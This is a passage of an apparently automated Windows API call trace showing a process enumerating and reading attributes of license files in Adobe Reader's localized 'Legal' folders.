lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201f98 [0081.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12661b8 [0081.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201fb8 [0081.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12662c0 [0081.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.506] GetLastError () returned 0x12 [0081.506] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.506] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.506] GetLastError () returned 0x12 [0081.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.506] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.507] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0081.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.508] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.508] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.508] NtClose (Handle=0x178) returned 0x0 [0081.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.509] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.509] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.509] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201fd8 [0081.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12663c8 [0081.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.511] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201ff8 [0081.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12664d0 [0081.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.512] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.512] GetLastError () returned 0x12 [0081.512] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.512] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.512] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.512] GetLastError () returned 0x12 [0081.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.513] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0081.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.514] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.514] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.515] NtClose (Handle=0x168) returned 0x0 [0081.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.515] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.515] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.515] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202018 [0081.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12665d8 [0081.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.517] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202038 [0081.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12666e0 [0081.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.518] GetLastError () returned 0x12 [0081.519] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.519] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.519] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.519] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.519] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.519] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 